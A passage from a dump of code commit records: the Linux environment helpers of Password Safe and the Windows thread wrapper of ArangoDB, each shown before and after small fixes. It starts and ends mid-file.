\"?\";\n#ifdef UNICODE\n  retval = pws_os::towc(user);\n#else\n  retval = user;\n#endif\n  return retval;\n}\n\nstringT pws_os::gethostname()\n{\n  stringT retval;\n  char name[HOST_NAME_MAX];\n  if (::gethostname(name, HOST_NAME_MAX) != 0) {\n    assert(0);\n    name[0] = '?'; name[1] = '\\0';\n  }\n#ifdef UNICODE\n  retval = pws_os::towc(name);\n#else\n  retval = name;\n#endif\n  return retval;\n}\n\nstringT pws_os::getprocessid()\n{\n#ifdef UNICODE\n  std::wostringstream os;\n#else\n  std::ostringstream os;\n#endif\n  os.width(8);\n  os.fill(charT('0'));\n  os << getpid();\n\n  return os.str();\n}\n\nvoid pws_os::getosversion(DWORD &major, DWORD &minor)\n{\n  \/\/ TBD - get info via uname()\n  major = minor = 0; \/\/ XXX placeholder\n}\n<commit_msg>Fixed broken Linux build<commit_after>\/*\n* Copyright (c) 2003-2011 Rony Shapiro <ronys@users.sourceforge.net>.\n* All rights reserved. Use of the code is allowed under the\n* Artistic License 2.0 terms, as specified in the LICENSE file\n* distributed with this code, or available from\n* http:\/\/www.opensource.org\/licenses\/artistic-license-2.0.php\n*\/\n\n\/**\n * \\file Linux-specific implementation of env.h\n *\/\n\n#include <sstream>\n#include <cassert>\n#include <cstring>\n#include <cstdlib>\n#include <unistd.h>\n#include <limits.h>\n#include <sys\/types.h>\n#include <pwd.h>\n\n\n#include \"..\/env.h\"\n#include \"..\/utf8conv.h\" \/\/ for pws_os::towc\n\nstringT pws_os::getenv(const char *env, bool is_path)\n{\n  assert(env != NULL);\n  stringT retval;\n  char *value = std::getenv(env);\n  if (value != NULL) {\n#ifdef UNICODE\n    retval = pws_os::towc(value);\n#else\n    retval = value;\n#endif\n    if (is_path) {\n      \/\/ make sure path has trailing '\\'\n      if (retval[retval.length()-1] != charT('\/'))\n        retval += _S(\"\/\");\n    } \/\/ is_path\n  } \/\/ value != NULL\n  return retval;\n}\n\nvoid pws_os::setenv(const char *name, const char *value)\n{\n  ASSERT(name != NULL && value != NULL);\n  ::setenv(name, value, 1); \/\/ Shouldn't this be under std:: ?\n}\n\nstringT pws_os::getusername()\n{\n  stringT retval;\n  struct passwd *pw_s = ::getpwuid(::getuid());\n  const char *user = (pw_s != NULL) ? pw_s->pw_name : \"?\";\n#ifdef UNICODE\n  retval = pws_os::towc(user);\n#else\n  retval = user;\n#endif\n  return retval;\n}\n\nstringT pws_os::gethostname()\n{\n  stringT retval;\n  char name[HOST_NAME_MAX];\n  if (::gethostname(name, HOST_NAME_MAX) != 0) {\n    assert(0);\n    name[0] = '?'; name[1] = '\\0';\n  }\n#ifdef UNICODE\n  retval = pws_os::towc(name);\n#else\n  retval = name;\n#endif\n  return retval;\n}\n\nstringT pws_os::getprocessid()\n{\n#ifdef UNICODE\n  std::wostringstream os;\n#else\n  std::ostringstream os;\n#endif\n  os.width(8);\n  os.fill(charT('0'));\n  os << getpid();\n\n  return os.str();\n}\n\nvoid pws_os::getosversion(DWORD &major, DWORD &minor)\n{\n  \/\/ TBD - get info via uname()\n  major = minor = 0; \/\/ XXX placeholder\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief threads in win32 & win64\n\/\/\/\n\/\/\/ @file\n\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2014 ArangoDB GmbH, Cologne, Germany\n\/\/\/ Copyright 2004-2014 triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Dr. Frank Celler\n\/\/\/ @author Copyright 2014, ArangoDB GmbH, Cologne, Germany\n\/\/\/ @author Copyright 2011-2013, triAGENS GmbH, Cologne, Germany\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"threads.h\"\n\n#include \"Basics\/logging.h\"\n#include \"Basics\/tri-strings.h\"\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                            THREAD\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                     private types\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief data block for thread starter\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ntypedef struct thread_data_s {\n  void (*starter) (void*);\n  void* _data;\n  char* _name;\n}\nthread_data_t;\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                 private functions\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief starter function for thread\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic DWORD __stdcall ThreadStarter (void* data) {\n  thread_data_t* d;\n\n  d = (thread_data_t*) data;\n  d->starter(d->_data);\n\n  TRI_Free(TRI_CORE_MEM_ZONE, d);\n\n  return 0;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                      constructors and destructors\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief initialises a thread\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid TRI_InitThread (TRI_thread_t* thread) {\n  *thread = 0;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                  public functions\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief returns the current process identifier\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nTRI_pid_t TRI_CurrentProcessId () {\n  return _getpid();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief returns the current thread process identifier\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nTRI_tpid_t TRI_CurrentThreadProcessId () {\n  return _getpid();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief returns the current thread identifier\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nTRI_tid_t TRI_CurrentThreadId () {\n  return GetCurrentThreadId();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief starts a thread\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool TRI_StartThread (TRI_thread_t* thread, TRI_tid_t* threadId, const char* name, void (*starter)(void*), void* data) {\n  thread_data_t* d = static_cast<thread_data_t*>(TRI_Allocate(TRI_CORE_MEM_ZONE, sizeof(thread_data_t), false));\n\n  if (d == nullptr) {\n    return false;\n  }\n\n  d->starter = starter;\n  d->_data = data;\n  d->_name = TRI_DuplicateString(name);\n\n  *thread = CreateThread(0, \/\/ default security attributes\n                         0, \/\/ use default stack size\n                         ThreadStarter, \/\/ thread function name\n                         d, \/\/ argument to thread function\n                         0, \/\/ use default creation flags\n                         threadId); \/\/ returns the thread identifier\n\n  if (*thread == 0) {\n    TRI_Free(TRI_CORE_MEM_ZONE, d);\n    LOG_ERROR(\"could not start thread: %s \", strerror(errno));\n    return false;\n  }\n\n  return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief attempts to stop\/terminate a thread\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_StopThread (TRI_thread_t* thread) {\n  if (TerminateThread(*thread, 0) == 0) {\n    DWORD result = GetLastError();\n\n    LOG_ERROR(\"threads-win32.c:TRI_StopThread:could not stop thread -->%d\", result);\n\n    return TRI_ERROR_INTERNAL;\n  }\n\n  return TRI_ERROR_NO_ERROR;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief waits for a thread to finish\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_DetachThread (TRI_thread_t* thread) {\n  \/\/ TODO: no native implementation\n  return TRI_ERROR_NO_ERROR;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief waits for a thread to finish\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_JoinThread (TRI_thread_t* thread) {\n  DWORD result = WaitForSingleObject(*thread, INFINITE);\n\n  switch (result) {\n    case WAIT_ABANDONED: {\n      LOG_FATAL_AND_EXIT(\"threads-win32.c:TRI_JoinThread:could not join thread --> WAIT_ABANDONED\");\n    }\n\n    case WAIT_OBJECT_0: {\n      \/\/ everything ok\n      break;\n    }\n\n    case WAIT_TIMEOUT: {\n      LOG_FATAL_AND_EXIT(\"threads-win32.c:TRI_JoinThread:could not joint thread --> WAIT_TIMEOUT\");\n    }\n\n    case WAIT_FAILED: {\n      result = GetLastError();\n      LOG_FATAL_AND_EXIT(\"threads-win32.c:TRI_JoinThread:could not join thread --> WAIT_FAILED - reason -->%d\",result);\n    }\n  }\n\n  return TRI_ERROR_NO_ERROR;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief sends a signal to a thread\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool TRI_SignalThread (TRI_thread_t* thread, int signum) {\n  \/\/ TODO:  NO NATIVE implementation of signals\n  return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief checks if this thread is the thread passed as a parameter\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool TRI_IsSelfThread (TRI_thread_t* thread) {\n  return false;\n  \/\/ ...........................................................................\n  \/\/ The GetThreadID(...) function is only available in Windows Vista or Higher\n  \/\/ TODO: Change the TRI_thread_t into a structure which stores the thread id\n  \/\/ as well as the thread handle. This can then be passed around\n  \/\/ ...........................................................................\n  \/\/return ( GetCurrentThreadId() == GetThreadId(thread) );\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief allow cancellation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid TRI_AllowCancelation(void) {\n  \/\/ TODO: No native implementation of this\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief sets the process affinity\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid TRI_SetProcessorAffinity (size_t core) {\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                       END-OF-FILE\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ Local Variables:\n\/\/ mode: outline-minor\n\/\/ outline-regexp: \"\/\/\/ @brief\\\\|\/\/\/ {@inheritDoc}\\\\|\/\/\/ @page\\\\|\/\/ --SECTION--\\\\|\/\/\/ @\\\\}\"\n\/\/ End:\n<commit_msg>Fix signature of windows function dummy.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief threads in win32 & win64\n\/\/\/\n\/\/\/ @file\n\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2014 ArangoDB GmbH, Cologne, Germany\n\/\/\/ Copyright 2004-2014 triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Dr. Frank Celler\n\/\/\/ @author Copyright 2014, ArangoDB GmbH, Cologne, Germany\n\/\/\/ @author Copyright 2011-2013, triAGENS GmbH, Cologne, Germany\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"threads.h\"\n\n#include \"Basics\/logging.h\"\n#include \"Basics\/tri-strings.h\"\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                            THREAD\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                     private types\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief data block for thread starter\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ntypedef struct thread_data_s {\n  void (*starter) (void*);\n  void* _data;\n  char* _name;\n}\nthread_data_t;\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                 private functions\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief starter function for thread\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic DWORD __stdcall ThreadStarter (void* data) {\n  thread_data_t* d;\n\n  d = (thread_data_t*) data;\n  d->starter(d->_data);\n\n  TRI_Free(TRI_CORE_MEM_ZONE, d);\n\n  return 0;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                      constructors and destructors\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief initialises a thread\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid TRI_InitThread (TRI_thread_t* thread) {\n  *thread = 0;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                  public functions\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief returns the current process identifier\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nTRI_pid_t TRI_CurrentProcessId () {\n  return _getpid();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief returns the current thread process identifier\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nTRI_tpid_t TRI_CurrentThreadProcessId () {\n  return _getpid();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief returns the current thread identifier\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nTRI_tid_t TRI_CurrentThreadId () {\n  return GetCurrentThreadId();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief starts a thread\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool TRI_StartThread (TRI_thread_t* thread, TRI_tid_t* threadId, const char* name, void (*starter)(void*), void* data) {\n  thread_data_t* d = static_cast<thread_data_t*>(TRI_Allocate(TRI_CORE_MEM_ZONE, sizeof(thread_data_t), false));\n\n  if (d == nullptr) {\n    return false;\n  }\n\n  d->starter = starter;\n  d->_data = data;\n  d->_name = TRI_DuplicateString(name);\n\n  *thread = CreateThread(0, \/\/ default security attributes\n                         0, \/\/ use default stack size\n                         ThreadStarter, \/\/ thread function name\n                         d, \/\/ argument to thread function\n                         0, \/\/ use default creation flags\n                         threadId); \/\/ returns the thread identifier\n\n  if (*thread == 0) {\n    TRI_Free(TRI_CORE_MEM_ZONE, d);\n    LOG_ERROR(\"could not start thread: %s \", strerror(errno));\n    return false;\n  }\n\n  return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief attempts to stop\/terminate a thread\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_StopThread (TRI_thread_t* thread) {\n  if (TerminateThread(*thread, 0) == 0) {\n    DWORD result = GetLastError();\n\n    LOG_ERROR(\"threads-win32.c:TRI_StopThread:could not stop thread -->%d\", result);\n\n    return TRI_ERROR_INTERNAL;\n  }\n\n  return TRI_ERROR_NO_ERROR;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief waits for a thread to 